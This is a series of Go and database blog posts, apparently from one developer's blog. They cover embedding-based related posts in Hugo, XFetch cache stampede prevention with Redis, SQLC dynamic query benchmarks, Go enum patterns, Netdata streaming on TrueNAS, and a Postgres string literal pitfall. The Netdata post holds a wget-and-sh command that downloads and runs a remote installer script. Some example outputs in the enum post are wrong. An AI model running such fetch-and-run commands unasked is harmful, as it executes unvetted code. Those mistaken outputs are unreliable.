	Frontmatter Frontmatter // frontmatter
	Content     Content     // does not include frontmatter
	Embedding   []float64
}

Once a markdown file is read, I do a few operations on it. First, I strip the hugo shortcodes. Then I render the markdown document to HTML by using the blackfriday markdown processor. Afterwards, I strip out the HTML tags. This leaves me with a plain text, which is ready to be passed into the model for embedding calculation. I did this because I worried that the raw contents of the file with shortcodes might yield results that are not representative. If that’s true or not - I do not know.

Now I need to calculate the embeddings. This is done in a following pass through, where I iterate over all the posts and fetch their embeddings from the api.

The third and final pass over the posts calculates the cosine similarity between each of the posts. It then takes the top 3 most similar posts, and marks their paths in the frontmatter struct’s similar posts property. The markdown documents are then saved.

This is all quite inefficient and I could optimize this, but I’m really not worried about the performance here.

There are also a few caveats - first, there’s a script that updates the markdown files that I’m working on. I’m not very fond of this, as it could lead to loss of data. If I were to run the script and while it’s executing change something, the change would get overwritten by the script once its job is complete. However, since I’m the only person working on this blog, and I have it version controlled I deem this an acceptable risk. I’ve had to do it this way as I could not figure out an alternative to hook into the hugo’s build chain.

If you’d like a deeper look at the code - the full code for the CLI is available here.

The Hugo template

With all my posts now containing a similar_posts property in their frontmatter, all that’s left to do is to adjust the template I use to render the related posts section. The template will render the similar_posts property if it’s present. If it’s not, it will fall back to the Hugo’s built-in related feature.

Here’s what it looks like:

{{ $similarPosts := .Params.similar_posts }}
{{ if and (isset .Params "similar_posts") (gt (len $similarPosts) 0) }}
  <h4>Related posts</h4>
  <ul>
   {{ range $index, $simpost := $similarPosts }}
    {{ with $.Site.GetPage $simpost }}
      <li><a href="{{ .RelPermalink }}">{{ .LinkTitle }}</a></li>
    {{ end }}
   {{ end }}
  </ul>
{{ else }}
  {{ $related := .Site.RegularPages.Related . | first 3 }}
  {{ if gt (len $related) 0 }}
    <h4>Related posts</h4>
    <ul>
      {{ range $related }}
        <li><a href="{{ .RelPermalink }}">{{ .LinkTitle }}</a></li>
      {{ end }}
    </ul>
  {{ end }}
{{ end }} 

With this, the blog is armed to provide ML related posts instead of relying on keywords and tags.

The results

Let’s take my previous post - Probabilistic Early Expiration in Go - and compare the tag based related posts vs the ML related posts.

The old:

• SQLC & dynamic queries
• Enums in Go
• Profiling gin with pprof

The new:

• Speeding hexo (or any page) for PageSpeed insights
• Kestrel vs Gin vs Iris vs Express vs Fasthttp on EC2 nano
• Go’s defer statement

For this particular case, I feel like the tag based recommendations are semantically closer to what I would expect. Nevertheless, I’m planning on sticking with the ML generated ones at least for a short while to get to know them better!

So, is it all worth it? Well, probably not. I wasn’t really doing this for any sort of tangible result. I don’t even have the metrics to verify that this indeed has any effect. However, this was a fun little experiment and a good entry to getting to know ML a little. I’ll probably do more and deeper dives into ML at some point and maybe re-visit this feature for a second iteration in the future.

Thanks for reading! If you’ve got any comments or suggestions, do leave a comment below.

I often end up in situations where I need to cache this or that. Often, these values are cached for a period of time. You’re probably familiar with the pattern. You try to get a value from cache, if you succeed, you return it to the caller and call it a day. If the value is not there, you fetch it(most likely from the database) or compute it and the put it in the cache. In most cases, this works great. However, if the key you’re using for your cache entry gets accessed frequently and the operation to compute the data takes a while you’ll end up in a situation where multiple parallel requests will simultaneously get a cache miss. All of these requests will independently load the from source and store the value in cache. This results in wasted resources and can even lead to a denial of service.

Let me illustrate with an example. I’ll use redis for cache and a simple Go http server on top. Here’s the full code:

package main

import (
	"errors"
	"log"
	"net/http"
	"time"

	"github.com/redis/go-redis/v9"
)

type handler struct {
	rdb      *redis.Client
	cacheTTL time.Duration
}

func (ch *handler) simple(w http.ResponseWriter, r *http.Request) {
	cacheKey := "my_cache_key"
	// we'll use 200 to signify a cache hit & 201 to signify a miss
	responseCode := http.StatusOK
	cachedData, err := ch.rdb.Get(r.Context(), cacheKey).Result()
	if err != nil {
		if !errors.Is(err, redis.Nil) {
			log.Println("could not reach redis", err.Error())
			http.Error(w, "could not reach redis", http.StatusInternalServerError)
			return
		}

		// cache miss - fetch & store
		res := longRunningOperation()
		responseCode = http.StatusCreated

		err = ch.rdb.Set(r.Context(), cacheKey, res, ch.cacheTTL).Err()
		if err != nil {
			log.Println("failed to set cache value", err.Error())
			http.Error(w, "failed to set cache value", http.StatusInternalServerError)
			return
		}
		cachedData = res
	}
	w.WriteHeader(responseCode)
	_, _ = w.Write([]byte(cachedData))
}

func longRunningOperation() string {
	time.Sleep(time.Millisecond * 500)
	return "hello"
}

func main() {
	ttl := time.Second * 3
	rdb := redis.NewClient(&redis.Options{
		Addr: "localhost:6379",
	})

	handler := &handler{
		rdb:      rdb,
		cacheTTL: ttl,
	}

	http.HandleFunc("/simple", handler.simple)
	if err := http.ListenAndServe(":8080", nil); err != nil {
		log.Fatalf("Could not start server: %s\n", err.Error())
	}
}

Let’s put some load on the /simple endpoint and see what happens. I’ll use vegeta for this.

I run vegeta attack -duration=30s -rate=500 -targets=./targets_simple.txt > res_simple.bin. Vegeta ends up making 500 requests every second for 30 seconds. I graph them as a histogram of HTTP result codes with buckets that span 100ms each. The result is the following graph.

When we start the experiment the cache is empty - we have no value stored there. We get the initial stampede as a bunch of requests reach our server. All of them check the cache find nothing there, call the longRunningOperation and store it in cache. Since the longRunningOperation takes ~500ms to complete any requests made in the first 500ms end up calling longRunningOperation. Once one of the requests manages to store the value in the cache all the following requests fetch it from cache and we start seeing responses with the status code of 200. The pattern then repeats every 3 seconds as the expiry mechanism on redis kicks in.

In this toy example this doesn’t cause any issues but in a production environment this can lead to unnecessary load on your systems, degraded user experience or even a self induced denial of service. So how can we prevent this? Well, there’s a few ways. We could introduce a lock - any cache miss would result in code trying to achieve a lock. Distributed locking is not a trivial thing to do and often these have subtle edge cases that require delicate handling. We could also periodically re-compute the value using a background job but this requires an extra process to be running introducing yet another cog that needs to be maintained and monitored in our code. This approach might also not be feasible to do if you have dynamic cache keys. There is another approach, called probabilistic early expiration and this is something I’d like to explore further.

Probabilistic early expiration

This technique allows one to recompute the value based on a probability. When fetching the value from cache, you also compute if you need to regenerate the cache value based on a probability. The closer you are to the expiry of the existing value, the higher the probability.

I’m basing the specific implementation on XFetch by A. Vattani, F.Chierichetti & K. Lowenstein in Optimal Probabilistic Cache Stampede Prevention.

I’ll introduce a new endpoint on the HTTP server which will also perform the expensive calculation but this time use XFetch when caching. For XFetch to work, we need to store how long the expensive operation took(the delta) and when the cache key expires. To achieve that, I’ll introduce a struct that will hold these values as well as the message itself:

type probabilisticValue struct {
	Message string
	Expiry  time.Time
	Delta   time.Duration
}

I add a function to wrap the original message with these attributes & serialize it for storing in redis:

func wrapMessage(message string, delta, cacheTTL time.Duration) (string, error) {
	bts, err := json.Marshal(probabilisticValue{
		Message: message,
		Delta:   delta,
		Expiry:  time.Now().Add(cacheTTL),
	})
	if err != nil {
		return "", fmt.Errorf("could not marshal message: %w", err)
	}

	return string(bts), nil
}

Let’s also write a method to recompute and store the value in redis:

func (ch *handler) recomputeValue(ctx context.Context, cacheKey string) (string, error) {
	start := time.Now()
	message := longRunningOperation()
	delta := time.Since(start)

	wrapped, err := wrapMessage(message, delta, ch.cacheTTL)
	if err != nil {
		return "", fmt.Errorf("could not wrap message: %w", err)
	}
	err = ch.rdb.Set(ctx, cacheKey, wrapped, ch.cacheTTL).Err()
	if err != nil {
		return "", fmt.Errorf("could not save value: %w", err)
	}
	return message, nil
}

To determine if we need to update the value based on the probability, we can add a method to probabilisticValue:

func (pv probabilisticValue) shouldUpdate() bool {
	// suggested default param in XFetch implementation
	// if increased - results in earlier expirations
	beta := 1.0
	now := time.Now()
	scaledGap := pv.Delta.Seconds() * beta * math.Log(rand.Float64())
	return now.Sub(pv.Expiry).Seconds() >= scaledGap
}

If we hook it all up we end up with the following handler:

func (ch *handler) probabilistic(w http.ResponseWriter, r *http.Request) {
	cacheKey := "probabilistic_cache_key"
	// we'll use 200 to signify a cache hit & 201 to signify a miss
	responseCode := http.StatusOK
	cachedData, err := ch.rdb.Get(r.Context(), cacheKey).Result()
	if err != nil {
		if !errors.Is(err, redis.Nil) {
			log.Println("could not reach redis", err.Error())
			http.Error(w, "could not reach redis", http.StatusInternalServerError)
			return
		}

		res, err := ch.recomputeValue(r.Context(), cacheKey)
		if err != nil {
			log.Println("could not recompute value", err.Error())
			http.Error(w, "could not recompute value", http.StatusInternalServerError)
			return
		}
		responseCode = http.StatusCreated
		cachedData = res

		w.WriteHeader(responseCode)
		_, _ = w.Write([]byte(cachedData))
		return
	}

	pv := probabilisticValue{}
	err = json.Unmarshal([]byte(cachedData), &pv)
	if err != nil {
		log.Println("could not unmarshal probabilistic value", err.Error())
		http.Error(w, "could not unmarshal probabilistic value", http.StatusInternalServerError)
		return
	}

	if pv.shouldUpdate() {
		_, err := ch.recomputeValue(r.Context(), cacheKey)
		if err != nil {
			log.Println("could not recompute value", err.Error())
			http.Error(w, "could not recompute value", http.StatusInternalServerError)
			return
		}
		responseCode = http.StatusAccepted
	}

	w.WriteHeader(responseCode)
	_, _ = w.Write([]byte(cachedData))
}

The handler works much like the first one, however, upon getting a cache hit we roll the dice. Depending on the outcome we either just return the value we just fetched, or update the value early.

We’ll use the HTTP status codes to determine between the 3 cases:

• 200 - we returned the value from cache
• 201 - cache miss, no value present
• 202 - cache hit, triggered probabilistic update

I start up vegeta once again this time running against the new endpoint and here’s the result:

The tiny blue blobs there indicate when we actually ended up updating the cache value early. We no longer see cache misses after the initial warm up period. To avoid the initial spike you could pre-store the cached value if this is important for your use case.

If you’d like to be more aggressive with your caching and refresh the value more frequently, you can play with the beta parameter. Here’s what the same experiment looks like with the beta param set to 2:

We’re now seeing probabilistic updates way more frequently.

All in all this is a neat little technique that can help with avoiding cache stampedes. Keep in mind though, this only works if you are periodically fetching the same key from the cache - otherwise you won’t see much benefit.

Got another way of dealing with cache stampedes? Noticed a mistake? Let me know in the comments below!

I won’t go over the basics here, if you feel like it you can try their interactive playground.

Dynamic queries

Frequently I end up needing to filter the data by a set of fields in the database. This set of fields is often determined by the caller, be it via REST API or other means. This means that the code I’m writing has to support dynamic queries, where we query by a subset of fields.

Let’s see an example. Assume my API returns some car data and I store it in the following table:

CREATE TABLE cars(
  id SERIAL PRIMARY KEY, 
  brand VARCHAR(255) NOT NULL,
  model VARCHAR(255) NOT NULL,
  year INT NOT NULL,
  state VARCHAR(255) NOT NULL,
  color VARCHAR(255) NOT NULL,
  fuel_type VARCHAR(50) NOT NULL,
  body_type VARCHAR(50) NOT NULL
);

The user might want to filter by brand, or by model. Or by brand and model. Or by brand, color, model, state and body type. You get the point, there’s a whole bunch of permutations here and SQLC is not great at handling this.

I usually approach it with the following SQLC query:

SELECT * FROM cars
  WHERE brand = @brand -- mandatory fields go in like this 
  AND (NOT @has_model::boolean or model = @model) -- optional fields follow this pattern
  AND (NOT @has_year::boolean or year = @year)
  AND (NOT @has_state::boolean or state = @state)
  AND (NOT @has_color::boolean or color = @color)
  AND (NOT @has_fuel_type::boolean or fuel_type = @fuel_type)
  AND (NOT @has_body_type::boolean or body_type = @body_type);

It might not be the prettiest solution, but it has worked for me quite well. There are a couple of downsides though. First, the param struct that the SQLC generates contains quite a bunch of fields:

type GetCarsParams struct {
	Brand       string
	HasModel    bool
	Model       string
	HasYear     bool
	Year        int32
	HasState    bool
	State       string
	HasColor    bool
	Color       string
	HasFuelType bool
	FuelType    string
	HasBodyType bool
	BodyType    string
}

You’ll have to handle this in your code, to set the proper ones if the user provides the relevant input. Second, people always ask me if there is a cost associated with having such a query versus using something like a query builder to build the query with specific params. To this, I always answer: “Probably, but it’s unlikely you’ll notice”.

I have decided to try and benchmark this, to see if there is a meaningful cost associated with it.

Benchmarking setup

I’ll use postgres & pgbench, since I’m only really interested in the query performance ignoring any code overhead. For schema, we’ll use the table above.

We’ll seed the data with the following query:

INSERT INTO cars(brand, model, YEAR, state, color, fuel_type, body_type)
SELECT (CASE FLOOR(RANDOM() * 5)::INT
            WHEN 0 THEN 'Toyota'
            WHEN 1 THEN 'Ford'
            WHEN 2 THEN 'Honda'
            WHEN 3 THEN 'BMW'
            WHEN 4 THEN 'Tesla'
        END) AS brand,
       (CASE FLOOR(RANDOM() * 5)::INT
            WHEN 0 THEN 'Camry'
            WHEN 1 THEN 'F-150'
            WHEN 2 THEN 'Civic'
            WHEN 3 THEN '3 Series'
            WHEN 4 THEN 'Model S'
        END) AS model,
       (CASE FLOOR(RANDOM() * 5)::INT
            WHEN 0 THEN 2024
            WHEN 1 THEN 2023
            WHEN 2 THEN 2022
            WHEN 3 THEN 2021
            WHEN 4 THEN 2020
        END) AS YEAR,
       (CASE FLOOR(RANDOM() * 3)::INT
            WHEN 0 THEN 'Operational'
            WHEN 1 THEN 'Under maintenance'
            WHEN 2 THEN 'Totalled'
        END) AS state,
       (CASE FLOOR(RANDOM() * 5)::INT
            WHEN 0 THEN 'Red'
            WHEN 1 THEN 'Green'
            WHEN 2 THEN 'Blue'
            WHEN 3 THEN 'Black'
            WHEN 4 THEN 'White'
        END) AS color,
       (CASE FLOOR(RANDOM() * 3)::INT
            WHEN 0 THEN 'Diesel'
            WHEN 1 THEN 'Petrol'
            WHEN 2 THEN 'Electric'
        END) AS fuel_type,
       (CASE FLOOR(RANDOM() * 3)::INT
            WHEN 0 THEN 'Sedan'
            WHEN 1 THEN 'SUV'
            WHEN 2 THEN 'Hatchback'
        END) AS body_type
FROM GENERATE_SERIES(1, 10000000) seq;

We’ll then have two different queries - one that we’d build with a query builder:

SELECT * FROM cars
WHERE brand = 'Ford'
and model = 'Model S'   
and year = 2021
and color = 'Green'
and fuel_type = 'Diesel';

And one where we’d have some extra overhead from our SQLC approach:

SELECT * FROM cars
  WHERE brand = 'Ford' 
  AND (NOT true::boolean or model = 'Model S')
  AND (NOT true::boolean or year = 2021)
  AND (NOT false::boolean or state = '')
  AND (NOT true::boolean or color = 'Green')
  AND (NOT true::boolean or fuel_type = 'Diesel')
  AND (NOT false::boolean or body_type = '');

I’ve also added a composite index for these specific queries:

CREATE INDEX idx_cars_brand_model_year_color_fuel 
ON cars (brand, model, year, color, fuel_type);

Armed with this, I’ve spun up an instance of postgres in docker on my machine, created the schema and generated the dataset. I then pre-warmed the cache by executing a couple of pgbench runs but not logging any results.

From there, I ran pgbench 4 times:

pgbench -f builderq.sql --log --log-prefix=builder --transactions=10000 -j 5 -c 5
pgbench -f sqlcq.sql --log --log-prefix=sqlc --transactions=10000 -j 5 -c 5
pgbench -f builderq.sql --log --log-prefix=builder --transactions=1000 -j 5 -c 5
pgbench -f sqlcq.sql --log --log-prefix=sqlc --transactions=10000 -j 5 -c 5

And these are the latencies for both queries after being run through plotly:

There is very little difference between the two, with SQLC approach having a larger number of outliers. Despite this, I would state that there is no significant difference between the two.

I then re-ran the experiment, only this time introduced a limit of 1 on both queries. My thought process was that this would perhaps allow the faster(in theory) query to shine, since we would not have to spend so much time transferring data. Here is the box plot:

The SQLC approach does seem a tad slower here, but not by a lot.

In conclusion, there is very little difference in terms of performance for these queries, meaning that using the a bunch of ANDs to implement dynamic querying in SQLC is something you can do without fear of massive performance repercussions. Your mileage may vary and in extreme cases this might not be these - always benchmark your own use cases.

The only price you pay for manually constructing the dynamic queries is the manual work involved in writing the queries & mapping of values from the request parameters to the query parameters.

Thanks for reading! If you’ve enjoyed my babbling you might also like my post on SQL string constant gotcha.

A very short enum intro

Enumerated types, or enums, represent finite sets of named values. They are usually introduced to signal that variables can only take one of the predefined values for the enum. For example, we could have an enum called Colors with members Red, Green, Blue. Usually, the members are represented as integer values, starting from zero. In this case, Red would correspond to 0, Green to 1 and Blue to 2 with Red, Green and Blue being the names of corresponding members. They help simplify the code as they are self-documenting and explicitly list all possible values for the given type. In many languages enums will also return compile errors if you’ll try to assign to an invalid value. However, since enums do not exist in Go, we do not have such guarantees.

Defining a custom type

Usually, one of the first steps of defining an enum in Go is to define a custom type for it. There are 2 commonly used types for this purpose, string and int. Let’s start with strings:

type Color string
const (
	Red   Color = "red"
	Green Color = "green"
	Blue  Color = "blue"
)

I actively avoid defining my enums in this style, since using strings increases the likelihood of errors. You don’t really know if the enum members are defined in uppercase, lowercase, title case or something else entirely. Besides, there is a high chance of miss-spelling the strings both in the definition and subsequent use and blue becomes bleu. I also often use bitmasks so that might influence my judgement, but I’ll talk about bitmasks in a separate post at some point.

For these reasons I prefer an int declaration:

type Color int
const (
	Red   Color = 0
	Green Color = 1
	Blue  Color = 2
)

Keep in mind that this is highly subjective and people will have their own preferences. Also, the int definition does not read as nicely when displayed, but we will fix that later.

Iota in go

In the colors example, I’m only using three colors, but what if we had 5, 10 or 20 of them? It would be quite tedious to assign values to each and every single one of them. Luckily, we can simplify this by using the iota keyword that Go provides:

type Color int
const (
	Red Color = iota
	Green
	Blue
)
fmt.Println(Red, Green, Blue) // 0 1 2

Iota acts as syntactic sugar, automatically incrementing the value for each successive integer constant in a constant declaration.

If we’d like to start at another number, we can achieve this with the following:

type Color int

const (
	Red Color = iota + 42
	Green
	Blue
)
fmt.Println(Red, Green, Blue) // 42 43 44

You can also use a variety of expressions on iota but I hardly recommend that except for the most trivial of cases as this leads to code that is hard to read and comprehend. One of the common use cases of such expressions which is still readable is defining bitmasks:

type Color int

const (
	Red Color = 1 << iota
	Green
	Blue
	_ // this skips one value
	Yellow
)
fmt.Println(Red, Green, Blue, Yellow) // 1 2 4 16

For more on iota, please refer to the Go spec.

One thing to note is that you should be very careful when making changes to already established constant declarations with iota. It’s easy to cause headaches if you remove or change the order of members as these could have already been saved to a database or stored in some other way. Once you ingest those, what was once blue might become red so keep that in mind.

While such declarations might suffice as an enum in some circumstances you usually will expect more from your enum. For starters, you’d like to be able to return the name of the member. Right now, a fmt.Print(Red) will print 0, but how would we print the name? How would I determine if 4 is valid color or not? I’m also able to define a custom color by simply defining a variable var Brown Color = 7. What if I’d like to marshal my enum to their string representation when returning this via an API? Let’s see how we can address some of these concerns.

Getting the member name

Since we’ve defined Color as a custom type we can implement the stringer interface on it to get the member names.

func (c Color) String() string {
	switch c {
	case 0:
		return "Red"
	case 1:
		return "Green"
	case 2:
		return "Blue"
	}
	return fmt.Sprintf("Color(%q)", int(c))
}

We can now print the name by calling the .String() method on any of the Color and get the names out. There are many ways one could implement this method but all of them have the same caveat - whenever I add a new color in my constant declaration, I will also need to modify the .String() method. Should I forget to do so, I’ll have a bug on my hands.

Luckily, we can leverage code generation with the stringer tool can help us. It can generate the code required for our Color enum to implement the stringer interface. You’ll need to have the stringer tool installed so run go install golang.org/x/tools/cmd/stringer@latest to do that. Afterwards, include the following directive, I usually plop it right above my enum type declaration:

//go:generate stringer -type=Color
type Color int

If you run go generate ./... you’ll see a colors_string.go file appear, with the stringer interface implemented, allowing you to access the names of the members like so:

fmt.Println(Red.String(), Green.String(), Blue.String()) // Red Green Blue

Marshalling and unmarshalling

If we use our Color enum in a struct and marshal it it will be represented as int:

type MyResponse struct {
	Color Color
}

bts, _ := json.Marshal(MyResponse{Color: Blue})
fmt.Println(string(bts)) // {"Color":4}

Sometimes, this behavior might suit you. For instance, you might be OK if the value is stored as an integer however if you’re exposing this information to the end user it might make sense to display the color name instead. To achieve this, we can implement the MarshalText() ([]byte, error) method for our Color enum. I’m specifically implementing the MarshalText over MarshalJSON as the latter falls back to using MarshalText internally in the std libs json library. This means that by implementing it we will get the color represented as string in the marshalled form for both JSON, XML and text representations and, depending on the implementation, perhaps other formats and libraries.

func (c Color) MarshalText() ([]byte, error) {
	return []byte(c.String()), nil
}
// ...
bts, _ := json.Marshal(MyResponse{Color: Blue})
fmt.Println(string(bts)) // {"Color":"Blue"}

If we’d like to accept string colors as input, we’ll have to do a bit more work. First, we’ll need to be able to determine if a given string is a valid color for our enum or not. To achieve this, let’s implement a ParseColor function

var ErrInvalidColor = errors.New("invalid color")

func ParseColor(in string) (Color, error) {
	switch in {
	case Red.String():
		return Red, nil
	case Green.String():
		return Green, nil
	case Blue.String():
		return Blue, nil
	}

	return Red, fmt.Errorf("%q is not a valid color: %w", in, ErrInvalidColor)
}

Once again, we could implement this in many different ways, but they will have the downside that if we’re ever expanding our Color enum, we’ll have to go into the ParseColor and extend it to support our new members. There are tools that can generate this for us, and I’ll talk about them later.

With this, we can implement the UnmarshalText method and unmarshal an input with colors as strings like so:

func (c *Color) UnmarshalText(text []byte) error {
	parsed, err := ParseColor(string(text))
	if err != nil {
		return err
	}

	*c = parsed
	return nil
}


type MyRequest struct {
	Color Color
}

dest := MyRequest{}
_ = json.Unmarshal([]byte(`{"Color": "Blue"}`), &dest)
fmt.Println(dest.Color.String()) // Blue

If an invalid color is provided, the unmarshalling will result in an ErrInvalidColor error.

Similarly, we could implement the Valuer and Scanner interfaces for database interactions:

func (c *Color) Scan(v interface{}) error {
	col, ok := v.(string)
	if !ok {
		return fmt.Errorf("could not convert %T to color", v)
	}

	color, err := ParseColor(col)
	if err != nil {
		return err
	}

	*c = color
	return nil
}

func (c Color) Value() (driver.Value, error) {
	return c.String(), nil
}

Reducing boilerplate

If you’re working with quite a few enums and need the custom marshalling and stringer/valuer/scanner interface implementations it can become quite tedious having to do all these steps for each of your enums. Everything that I’ve discussed so far can be generated with the go-enum library. With it, the enum definition becomes a bit different:

//go:generate go-enum --marshal --sql

// ENUM(Red, Green, Blue)
type Color int

If you run go generate ./... a file will be generated including all the custom marshalling, parsing and stringer/valuer/scanner implementations. This is a great tool if you work with multiple enums and have to do this often.

Another alternative that leverages generics and avoids generation is the enum library.

Both of these are valid options and it is up to the reader to choose one that suits your needs. I will go over my preferences at the end of this blog post.

Improving type safety by using structs

There’s one caveat with these enums and that’s the fact that one can just construct a new enum member by hand. There’s nothing preventing me from defining a var Yellow = Color(3) and passing that to a function expecting a color:

func UseColors(c Color) {
	// would actually do something useful
	fmt.Println(c.String())
}

var Yellow = Color(3)
UseColors(Yellow) // completely valid code

Firstly, I would like to say that there is no bulletproof way to protect from this, but there are some things you can do.

If we define our enum as a struct in a separate package:

package colors

type Color struct {
	id   int
	name string
}

var (
	Red     = Color{id: 0, name: "Red"}
	Green   = Color{id: 1, name: "Green"}
	Blue    = Color{id: 2, name: "Blue"}
)

You would obviously include ways to construct valid enums from outside the package by either the ID or name, the methods for serializing, stringifying and any other needs you have. However, this only provides an illusion of safety, since you can do any of the following:

1. Reassign one color as another: colors.Red = colors.Blue.
2. Create an uninitialized color: var myColor = colors.Color{}.

For 2) we could shift our enum by 1, and include an unknown value with the id of 0.

var (
	Unknown = Color{id: 0, name: ""}
	Red     = Color{id: 1, name: "Red"}
	Green   = Color{id: 2, name: "Green"}
	Blue    = Color{id: 3, name: "Blue"}
)

We’d still have to handle this unknown value in any code dealing with colors:

func UseColors(c colors.Color) error {
	if c == colors.Unknown {
		return errors.New("received unknown color")
	}
	// do something with the valid colors
	return nil
}

Since structs can not be declared const, we have to become inventive to cover ourselves from 1). We can define the colors as funcs:

func Unknown() Color {
	return Color{}
}

func Red() Color {
	return Color{id: 1, name: "Red"}
}

func Green() Color {
	return Color{id: 2, name: "Green"}
}

func Blue() Color {
	return Color{id: 3, name: "Blue"}
}

With this in place, you can no longer assign a color as another.

An alternative approach would be to make the color type an unexported int and only export its members:

type color int

const (
	Red color = iota
	Green
	Blue
)

To make this type even remotely useful, we could export and implement a Colors interface:

type Color interface {
	ID() int
	Name() string
	Equals(Color) bool
}

func (c color) ID() int {
	return int(c)
}

func (c color) Name() string {
	switch c {
	case 0:
		return "Red"
	case 1:
		return "Green"
	case 2:
		return "Blue"
	}
	return fmt.Sprintf("Color(%q)", int(c))
}

func (c color) Equals(in Color) bool {
	return c.ID() == in.ID()
}

You could then use it like this:

func UseColors(c colors.Color) {
	if c.Equals(colors.Red) {
		// do something with red
	}
}

In theory, you could still write a custom implementation of this interface and create a custom color like that but I think that is highly unlikely to happen.

However, I’m not a big fan of these approaches as they seem a tad cumbersome while providing little in return.

My personal enum preferences

With all this said, I’d like to point out a few things that have been working quite well for me in practice and my general experience:

• Enums are not as widespread as one might think. Even in large code bases, you’re very likely to have only a handful of enums. Using libraries for this might be overkill.
• I value consistency very highly when it comes to code so I usually follow whatever pattern is already established for enum definitions in the existing code base.
• I only ever reference existing enum members and try to never type cast to an enum.
• For fresh projects, I use an int based type with iota with any additional interfaces implemented by hand. If the time comes where this becomes tedious to maintain, I switch to code generation.
• Unless enums become part of the language spec, I’ll stick to using iota based enums. Any fancy tricks to add more type safety to them just add more boilerplate. I trust the people I work with, our review processes and don’t feel the need for these extra safety measures.

This is just my opinion and it might not match the situation you’re in. Always choose what works best for you!

If you have any suggestions or alternatives, I’d be glad to hear them in the comments below.

Normally, if you want to set up streaming in Netdata it’s enough to edit /etc/netdata/stream.conf. However, I wouldn’t recommend doing this on a TrueNAS install for a couple of reasons. Firstly, this is not a recommended way of adjusting configuration and that is clearly evident when you open up the TrueNAS shell:

Warning: the supported mechanisms for making configuration changes
are the TrueNAS WebUI, CLI, and API exclusively. ALL OTHERS ARE
NOT SUPPORTED AND WILL RESULT IN UNDEFINED BEHAVIOR AND MAY
RESULT IN SYSTEM FAILURE.

Secondly, if you ignore these warnings and use the shell to adjust the configuration, you’ll still end up in a pickle. Trust me, I’ve tried. The Netdata version that comes preinstalled with TrueNAS SCALE(23.10.1.1) is v1.37.1. You can verify this by running curl localhost:6999/api/v1/info | grep version in the TrueNAS shell. This version is quite old, over a year old at the time of writing and seems to have bug in the streaming protocol. When I set it up to stream to my Netdata parent, the Netdata daemon in TrueNAS started crashlooping. This meant that no metrics were visible on the TrueNAS Web UI or being streamed to the parent.

At that point I realized I’d probably need to use the Netdata app on True NAS.

Configuring streaming to Netdata parent via the app

The good thing about this app is that it uses the Netdata helm chart under the hood, meaning new versions of Netdata are available. Simply install it from the available applications on the TrueNAS Web UI. As far as configuration goes, there is no need to configure anything.

Once the app is installed and running, open up a shell by hitting the button on the app menu:

We’re now inside the Netdata container running inside of the kubernetes cluster running on your TrueNAS SCALE. Using your favorite text editor, open /etc/netdata/stream.conf and paste the following:

[stream]
  enabled = yes
  destination = 192.168.1.1:19999
  api key = 11111111-2222-3333-4444-555555555555
  timeout seconds = 60
  buffer size bytes = 1048576
  reconnect delay seconds = 5
  initial clock resync iterations = 60

Replace 192.168.1.1:19999 with the host and port of your Netdata parent and 11111111-2222-3333-4444-555555555555 with your Netdata streaming API key.

The next thing you’ll probably want to do is assign this node a proper hostname. By default, Netdata uses the hostname of machine it’s running on and since we’re on a pod in kubernetes you’ll get something catchy like netdata-5f9684f696-mdrhf. Luckily, we can fix that. I will also make a few general adjustments to the Netdata configuration, switching it to in memory mode as well as disable some auxiliary features as that will get handled by the parent. This makes the installation lightweight, consuming less resources of our NAS.

Open /etc/netdata/netdata.conf and paste the following:

[global]
  hostname = my-catchy-hostname
[db]
  mode = ram
[health]
  enabled = no
[ml]
  enabled = no

Exit the shell, stop and start the app again. You should now be able to see the new node on your Netdata parent.

Claiming to Netdata Cloud

If you don’t have a parent but would like to be able to access the metrics from Netdata Cloud it is possible to claim it using the same TrueNAS app. To do so, first grab a few things from the cloud. You’ll need the claim token, and the room ID. You can get them by hitting the Add nodes button in the Netdata Cloud. You’ll see something like this:

wget -O /tmp/netdata-kickstart.sh https://get.netdata.cloud/kickstart.sh && sh /tmp/netdata-kickstart.sh --nightly-channel --claim-token {your_token} --claim-rooms 89f01a07-697e-40ce-b90c-3ee0091a02b5 --claim-url https://app.netdata.cloud

Next, head to the TrueNAS SCALE Web UI apps section, find and hit install on Netdata. However, this time some extra configuration is required. Under the Netdata Configuration you’ll want to add 3 environment variables:

NETDATA_CLAIM_TOKEN=your_token
NETDATA_CLAIM_URL=https://app.netdata.cloud
NETDATA_CLAIM_ROOMS=89f01a07-697e-40ce-b90c-3ee0091a02b5

After the installation is complete, you should see your node appear on Netdata cloud.

I hope this helps! If you’ve got any questions shoot them in the comments below.

In my rush, I’ve opted for a rather simple query that went something like this:

UPDATE some_table SET some_column = 'some_value'
WHERE some_other_column IN (
    'value_1',
    'value_2',
    'value_3',
    'value_4',
    -- ...
    'value_26',
    'value_27'
    'value_28',
    'value_29'
);

When the migration got executed on the testing environment, no errors were reported and all looked well. However, after some time I noticed that the migration failed to update some rows that I had anticipated.

The observant readers probably noticed that there’s a missing comma after value_27 in the previous snippet and this is indeed what caused the issue. What surprised me is that the query did not result in an error. Why is that? Let’s explore.

I’ll create a simple table and insert a few entries.

CREATE TABLE sessions(id SERIAL, browser varchar(50));

INSERT INTO sessions(browser)
VALUES ('chrome'), ('brave'), ('firefox');

Running the following query returns 3 rows, as expected.

SELECT * FROM sessions 
WHERE browser in (
	'chrome',
	'brave',
	'firefox'
);

-------------
-- id|browser|
-- --+-------+
--  1|chrome |
--  2|brave  |
--  3|firefox|

However, if I fail to include a comma after brave the resulting query returns a single row:

SELECT * FROM sessions 
WHERE browser in (
	'chrome',
	'brave'
	'firefox'
);

-------------
-- id|browser|
-- --+-------+
--  1|chrome |

The query does not result in an error and still yields some results. To better understand what is happening we can further simplify this example to a simple SELECT:

SELECT 'brave'
'firefox';

-- -------------
-- ?column?    |
-- ------------+
-- bravefirefox|

The original query failed to include the sessions with brave and firefox browsers because brave and firefox got concatenated resulting in the following query:

SELECT * FROM sessions 
WHERE browser in (
	'chrome',
	'bravefirefox'
);

What I find odd is that this behavior only exists if you include at least one newline between the two string constants. This means that

SELECT 'brave' 'firefox';

This behavior is documented in the PostgreSQL documentation:

This slightly bizarre behavior is specified by SQL; PostgreSQL is following the standard.

After scratching my head for a bit, I then went on to try and figure out a way to minimize the chance of this happening to me in the future. If you’re working with strings using ANY and providing an array as a parameter to it should keep you safe:

SELECT * FROM sessions 
WHERE browser = ANY('{
  "chrome",
  "brave",
  "firefox"
}');

Should you omit a comma it will let you know that you’ve got a malformed array literal.

The setup

